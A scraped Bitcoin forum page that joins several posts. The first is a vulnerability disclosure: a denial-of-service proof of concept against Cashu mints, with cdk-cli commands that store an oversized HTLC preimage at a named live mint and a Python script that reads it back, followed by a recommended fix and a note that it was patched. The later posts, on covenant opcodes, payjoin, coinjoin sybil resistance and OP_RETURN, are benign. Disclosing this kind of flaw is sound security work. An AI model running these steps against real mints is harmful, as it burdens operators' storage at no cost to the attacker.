bitcoin

![](https://substackcdn.com/image/fetch/$s_!lrbZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F27178c6a-609b-4497-908b-2f552fb35263_748x500.jpeg)

**Proof of Concept**

Download CDK [https://github.com/cashubtc/cdk/releases/tag/v0.13.1](https://github.com/cashubtc/cdk/releases/tag/v0.13.1) and install `cdk-cli.` Run the below command to mint cashu token worth 1 sat:

    ./cdk-cli mint https://mint.coinos.io 1

I have used coinos mint in this PoC but you can use other [mints](https://bitcoinmints.com) that support [NUT-14](https://github.com/cashubtc/nuts/blob/main/14.md). The next step is to get hex for an image(picture) that will be used for preimage. Create the cashu token with sha256(preimage) used in the secret data using this command:

    ./cdk-cli send --memo test --preimage <preimage>

    cashuBpGFtdmh0dHBzOi8vbWludC5jb2lub3MuaW9hdWNzYXRhdIGiYWlIAE963yoENWxhcIGkYWEBYXN4wVsiSFRMQyIseyJub25jZSI6IjQzMDJmYzlkODNhNjQwOTdiODVjOTZkYTQ2YjQ4ZDAzNTdkYWYzYWMwYmM1NDk2NzZkNjI1YTZiMTMzZTVjNmUiLCJkYXRhIjoiMzkzZDA4NTdmMTczYzI2YTc0NDg1Nzg4YjA5MTA5OGM0OTAzMGFjODdlODZhMGRjODU3OGFhN2M2MmI1ZDQzYiIsInRhZ3MiOltbInNpZ2ZsYWciLCJTSUdfSU5QVVRTIl1dfV1hY1ghAkFaZoWwvu5_Wm_3EMsWNbUbQx2aBO5Ubq7JmOFbIuk8YWSjYWVYIKfascjV1DA-c6Pc6OVipqPGkHWu9GUgy1eesDH20S5CYXNYIJi9PZ7y_k3LLICQ09d-Lhq3EajKkjpNOyWleRAafhi6YXJYIA-wTTE3EqC0tTgpxXNYKq_xINHvurDzn2Cpo63pDt87YWRkdGVzdA

    “root”:{4 items
    “mint”:”https://mint.coinos.io”
    “proofs”:[1 item
    0:{5 items
    “secret”:”[”HTLC”,{”nonce”:”4302fc9d83a64097b85c96da46b48d0357daf3ac0bc549676d625a6b133e5c6e”,”data”:”393d0857f173c26a74485788b091098c49030ac87e86a0dc8578aa7c62b5d43b”,”tags”:[[”sigflag”,”SIG_INPUTS”]]}]”
    “C”:”02415a6685b0beee7f5a6ff710cb1635b51b431d9a04ee546eaec998e15b22e93c”
    “amount”:1
    “id”:”004f7adf2a04356c”
    “dleq”:{3 items
    “r”:”0fb04d313712a0b4b53829c573582aaff120d1efbab0f39f60a9a3ade90edf3b”
    “s”:”98bd3d9ef2fe4dcb2c8090d3d77e2e1ab711a8ca923a4d3b25a579101a7e18ba”
    “e”:”a7dab1c8d5d4303e73a3dce8e562a6a3c69075aef46520cb579eb031f6d12e42”
    }
    }
    ]
    “unit”:”sat”
    “memo”:”test”
    }

`393d0857f173c26a74485788b091098c49030ac87e86a0dc8578aa7c62b5d43b` is the hash of our preimage. The mint will store the preimage in its database after we spend this token using this command:

    ./cdk-cli receive cashuBpGFtdmh0dHBzOi8vbWludC5jb2lub3MuaW9hdWNzYXRhZGR0ZXN0YXSBomFpSABPet8qBDVsYXCBpGFhAWFzeMFbIkhUTEMiLHsibm9uY2UiOiI0MzAyZmM5ZDgzYTY0MDk3Yjg1Yzk2ZGE0NmI0OGQwMzU3ZGFmM2FjMGJjNTQ5Njc2ZDYyNWE2YjEzM2U1YzZlIiwiZGF0YSI6IjM5M2QwODU3ZjE3M2MyNmE3NDQ4NTc4OGIwOTEwOThjNDkwMzBhYzg3ZTg2YTBkYzg1NzhhYTdjNjJiNWQ0M2IiLCJ0YWdzIjpbWyJzaWdmbGFnIiwiU0lHX0lOUFVUUyJdXX1dYWNYIQJBWmaFsL7uf1pv9xDLFjW1G0MdmgTuVG6uyZjhWyLpPGFko2FlWCCn2rHI1dQwPnOj3OjlYqajxpB1rvRlIMtXnrAx9tEuQmFzWCCYvT2e8v5NyyyAkNPXfi4atxGoypI6TTslpXkQGn4YumFyWCAPsE0xNxKgtLU4KcVzWCqv8SDR77qw859gqaOt6Q7fOw== --preimage <preimage>

We can get the preimage (witness) from the coinos mint using this python script:

    import requests
    import json
    import hashlib
    from secp256k1 import PublicKey
    
    secret = ‘[”HTLC”,{”nonce”:”4302fc9d83a64097b85c96da46b48d0357daf3ac0bc549676d625a6b133e5c6e”,”data”:”393d0857f173c26a74485788b091098c49030ac87e86a0dc8578aa7c62b5d43b”,”tags”:[[”sigflag”,”SIG_INPUTS”]]}]’
    
    DOMAIN_SEPARATOR = b”Secp256k1_HashToCurve_Cashu_”
    
    def hash_to_curve(message):
        msg_hash = hashlib.sha256(DOMAIN_SEPARATOR + message.encode(’utf-8’)).digest()
        
        counter = 0
        while counter < 2**16: 
            counter_bytes = counter.to_bytes(4, byteorder=’little’)
            
            hash_result = hashlib.sha256(msg_hash + counter_bytes).digest()
    
            try:
                pubkey_bytes = bytes([0x02]) + hash_result
                Y = PublicKey(pubkey_bytes, raw=True)
                return Y.serialize().hex()
            except:
                counter += 1
        
        raise Exception(”Could not find valid point”)
    
    Y_hex = hash_to_curve(secret)
    
    response = requests.post(
        ‘https://mint.coinos.io/v1/checkstate’,
        json={”Ys”: [Y_hex]}
    )
    
    result = response.json()
    print(json.dumps(result, indent=2))

This is documented in [NUT 07](https://cashubtc.github.io/nuts/07/) and the cashu mint does not validate size before adding the preimage in the database.

I have stored the hex of this image(picture) in the proof of concept:

![](https://substackcdn.com/image/fetch/$s_!83xb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaea3622-523f-4f06-a429-662671fa5527_660x677.png)

An attacker can fill the mint’s database and disk space with trash or malicious data for free.

    ./cdk-cli balance
    0: https://mint.coinos.io 1 sat
    
    Total balance across all wallets: 1 sat
    

**Recommended fix**

1.  Define the size limit for preimage and mints should reject the request to spend tokens with preimage size higher than the limit.
    
2.  There should be a small fee paid to the mint for spending a token.
    

    if len(proof.htlcpreimage) != 64:
        raise TransactionError(”HTLC preimage must be 64 characters hex.”)
    

The vulnerability affected nutshell implementation and was was fixed in PR [#803](https://github.com/cashubtc/nutshell/pull/803). The mints running v0.18.0 are unaffected because they validate the size of preimage.

Denial of Service using HTLC in Cashu

nostr

The end of NIPs

Stacker Saloon

saloon

Sat grátis

Edwuards

Meet René, the legendary "vibe coder" https://stacker.news/items/1085175/r/kpa

Locked 1 BTC until 2030

chebibu

Memes

Meme Monday - Best Bitcoin Meme Gets 5,000 CCs

[^1]
![](https://m.stacker.news/105011)

[^1]: https://www.redhotcyber.com/post/non-so-programmare-ma-ha-vinto-200-hackathon-rene-turcios-la-leggenda-del-vibe-coder/

Google has added a note about non-custodial wallets

Link: https://support.google.com/googleplay/android-developer/answer/16329703

![](https://m.stacker.news/104523)



mempool

So Tight!

Introducing: Roxom — ego death capital

siggy47

![](https://m.stacker.news/94566)
https://stacker.news/items/995306/r/kpa

![](https://m.stacker.news/94565)

I had created the first draft for a [bitcoin wiki page](https://en.bitcoin.it/wiki/Covenants_support) to gather evaluations from developers on different soft fork proposals and link was shared on [mailing list](https://groups.google.com/g/bitcoindev/c/fdxkE1Al4TI/m/CeEuls2IAQAJ). 32 developers have shared their opinion until now.

![](https://m.stacker.news/94564)

### OP\_CHECKCONTRACTVERIFY

No developers have objections with `OP_CCV` but its reviewed by very less developers. There could be multiple reasons for it, however this is the first thing that I noticed in the table.

![](https://m.stacker.news/94562)

### OP\_PAIRCOMMIT

5 developers have objections with this opcode and its also less reviewed. This opcode is a combination of `OP_CAT`, `OP_SHA256` and part of LNHANCE proposal.

![](https://m.stacker.news/94560)

### OP\_CHECKSIGFROMSTACK

It has the highest support in the table from all developers. Nobody wants to activate it alone but its a part of some proposals with other opcodes.

![](https://m.stacker.news/94559)

### OP\_INTERNALKEY

This seems to be a simple opcode that could save 32 bytes and part of `LNHANCE` proposal. However, 4 developers have some objections with it. Luke Dashjr had shared the reasons in a telegram group and on twitter. Rearden had responded to the concerns and its possible that re-evaluations would change this column.

![](https://m.stacker.news/94558)

### OP\_CAT

This seems to be a controversial opcode in the community hence you see multiple developers using ‘deficient’ option for it. Some developers have also marked ‘no’ and do not want `OP_CAT` because it enables too many things.

![](https://m.stacker.news/94556)

### SIGHASH\_ANYPREVOUT

This is another proposal with interesting evaluations in the table because it was perceived to have enough support in the community. With more rationales added in the table, it could become clear why developers do not prefer it anymore.

![](https://m.stacker.news/94555)

### OP\_VAULT, OP\_TXHASH

These 2 opcodes have mixed opinions and we will need rationale added in the last column by all developers to understand the reasons for this evaluation.

![](https://m.stacker.news/94554)

### OP\_CHECKTEMPLATEVERIFY

3 developers have objections with this opcode and 2 of them belong to [Zerosync](https://zerosync.org/). The bias is easy to understand if you go through the tweets of Robin Linus. None of them have added a rationale yet so we can only assume the reasons for it.

![](https://m.stacker.news/94552)

### Conclusion

This table has made it easier to analyze the opinion of different bitcoin developers on proposed soft forks. There is always room for improvement, however the primary goal to reach some technical consensus could be achieved with it and followed by further discussion on mailing list.  
  
[https://groups.google.com/g/bitcoindev/c/QOnpM4Ixmms/m/8m1\_l5RSDAAJ](https://groups.google.com/g/bitcoindev/c/QOnpM4Ixmms/m/8m1_l5RSDAAJ)

Hawk-eye - Observations from the covenants support wiki

![](https://m.stacker.news/94549)

BIP 119 OP\_CHECKTEMPLATEVERIFY allows users to restrict outputs by committing to nVersion, nLockTime, scriptSig hash, input count, sequences hash, output count, outputs hash and input index. In this post, we will focus on committing to multiple inputs because it could help in improving payjoin.

Example from the BIP:

        Path A: <+24 hours> OP_CHECKSEQUENCEVERIFY OP_CHECKTEMPLATEVERIFY <Pay Alice 1 Bitcoin (1 input) nLockTime for +24 hours>
        Path B: OP_CHECKTEMPLATEVERIFY <Pay Bob 2 Bitcoin (2 inputs)>

In this case, there are 24 hours for the output to, with the addition of a second input, pay Bob 2 BTC. If 24 hours lapses, then Alice may redeem her 1 BTC from the contract. Both input UTXOs may have the exact same Path B, or only one.

Let’s make some changes in this example so that it could work as payjoin:

        Path A: <+1 hour> OP_CHECKSEQUENCEVERIFY OP_CHECKTEMPLATEVERIFY <Pay Alice 0.01 Bitcoin (change) and Pay Bob 0.02 Bitcoin (1 input) nLockTime for +1 hour>
        Path B: OP_CHECKTEMPLATEVERIFY <Pay Bob 0.03 Bitcoin and Pay Alice 0.01 Bitcoin (change) (2 inputs)>

This will result in 3 transactions:

1.  Funding tx (sender)
    
2.  Funding tx (recipient)
    
3.  Spending tx
    

We can reduce it to 2 transactions by using P2A as described by stutxo in this repository: [https://github.com/stutxo/simple\_ctv](https://github.com/stutxo/simple_ctv) It would improve privacy for this protocol because P2A can be can spent by anyone along with their inputs.

Differences compared to normal payjoin:

1.  Less interaction
    
2.  Recipient broadcasts the transaction (path B)
    

Most importantly this protocol fixes the [UTXO probing attack](https://uncensoredtech.substack.com/p/utxo-probing-attack-using-payjoin).

Payjoin with CHECKTEMPLATEVERIFY

![](https://m.stacker.news/94408)

> Sybil attacks are an inherent threat to privacy in mixing schemes because a transaction between n apparent participants n − 1 of which are controlled by an attacker will fully link the victim’s coins on both sides of the coinjoin while giving the impression that the victim’s privacy has been improved.

![](https://m.stacker.news/94409)

  
Wabisabi
-------------

Section 7.2.2 in [Wabisabi paper](https://eprint.iacr.org/2021/206.pdf) describes sybil attacks although the implementation does not provide resistance to these attacks. The attacker would need enough inputs in a coinjoin transactions and pay fees.

The [coordinator](https://kruw.io/) with the highest liquidity currently does not charge a coordinator fee.

Since WabiSabi is a coinjoin implementation based on centralized coordinator, a user must also trust the coordinator not to link inputs and outputs.

  
Joinmarket
---------------

Joinmarket uses [fidelity bonds](https://joinmarket.sgn.space/fidelitybonds) for sybil resistance. This requires market makers to lock some bitcoin hence it increases the [cost of sybil attack](https://joinmarket.sgn.space/sybilresistance).

[Fidelity bonds](https://en.bitcoin.it/wiki/Fidelity_bonds) were proposed as a [solution](https://gist.github.com/chris-belcher/18ea0e6acdb885a2bfbdee43dcd6b5af) to sybil attacks by [Chris Belcher](https://x.com/chris_belcher_/status/1496577077751001093).

![](https://m.stacker.news/94410)

Joinstr
---------

Joinstr uses [aut-ct](https://github.com/AdamISZ/aut-ct) as the primary mechanism for sybil resistance, however fidelity bonds can also be used with aut-ct. There is an initiator who creates the pool and adds sybil requirements to join the pool. Everyone (maker and takers) needs to provide the proof for a successful coinjoin.

There is enough freedom for initiators to add different conditions for aut-ct. Example: Prove ownership of a UTXO with certain amount, age etc. This isn’t the UTXO which will be used for coinjoin. It isn’t possible in joinmarket with the protocol used right now. Another thing that makes it easier to provide liquidity while still resisting sybil attacks is that nobody needs to lock bitcoin.

Members need to pay a fee before joining a pool that uses paid nostr relay in joinstr. This isn’t the case with other coinjoin implementations.

Example:  
\- Alice creates a pool with `JM=True` because she already has a fidelity bond and using it for Joinmarket  
\- Bob and Carol join the pool  
\- Everyone shares aut-ct proof that proves they own a P2TR UTXO worth 0.1-0.2 BTC that is unspent until last block and aged more than 2016 blocks

I have shared other details in an earlier post:

[Market makers in joinstr](https://uncensoredtech.substack.com/p/market-makers-in-joinstr)

5 October 2024
![Market makers in joinstr](https://m.stacker.news/94411)
Joinmarket is based on maker-taker model and market makers offer liquidity for coinjoin. They get free coinjoin and earn fees from offers. Fidelity bonds are used for sybil resistance and makers lock some bitcoin while creating offers.

[Read full story](https://uncensoredtech.substack.com/p/market-makers-in-joinstr)

Conclusion
------------

Wabisabi is vulnerable to sybil attacks. Sybil resistance in joinmarket is good enough as it increases the cost of the attack. However, joinstr provides the best sybil resistance among all the coinjoin implementations.

Sybil resistance in coinjoin implementations - Joinmarket, Joinstr and Wabisabi

bitdevs

![](https://m.stacker.news/93641)

There has been a lot of debate recently about OP\_RETURN limits, and one of the restrictions limits the number of OP\_RETURN outputs that can be used in a transaction. Using Libre Relay, it's already possible to relay transactions that use more than one OP\_RETURN output.

### Can we use multiple OP\_RETURN in coinjoin transactions?

Coinjoin can be used by ordinals users to hunt sats. It doesn’t require the use of OP\_RETURN and there is an [open issue](https://github.com/ordinals/ord/issues/4051) to implement it in ord.  
  
Runes users can benefit from OP\_RETURN and coinjoin in 2 ways although it will require some changes in the [protocol](https://docs.ordinals.com/runes.html):

1.  Mint multiple runes in the same transaction. If multiple runes are minted in a bitcoin transaction it would look like this: ![](https://m.stacker.news/93642)

It will need some coordination between users however, improves privacy in minting and cost in some cases.

2.  Coinjoin can also be done while transferring mint. This is an example runes transfer transaction: [05e9c6b6c1b23ee6676d030090d64f7334f6f20c3d09f9878817a617d8233a14](https://mempool.space/tx/05e9c6b6c1b23ee6676d030090d64f7334f6f20c3d09f9878817a617d8233a14)
    

There is another degen protocol for minting tokens called OP-20 which uses OP\_RETURN however it does not allow more than one mint in a transaction.

Example transaction: [05e9c6b6c1b23ee6676d030090d64f7334f6f20c3d09f9878817a617d8233a14](https://mempool.space/tx/05e9c6b6c1b23ee6676d030090d64f7334f6f20c3d09f9878817a617d8233a14)

###   
What other use cases could benefit from multiple OP\_RETURN and coinjoin?

[OpenTimestamps](https://opentimestamps.org/) can also use multiple OP\_RETURN outputs in a single transaction. Batching would reduce the cost and coinjoin could improve privacy.

Here is an example OpenTimestamps transaction: [3371fa8d145d917c1f8f5f302f00ba9381570e927f02160032331c1f74d19e36](https://mempool.space/tx/3371fa8d145d917c1f8f5f302f00ba9381570e927f02160032331c1f74d19e36?mode=details)  

### Conclusion

Every protocol that uses OP\_RETURN would benefit from multiple OP\_RETURN outputs in the same transaction. They could either use batching or coinjoin depending on the priority of users.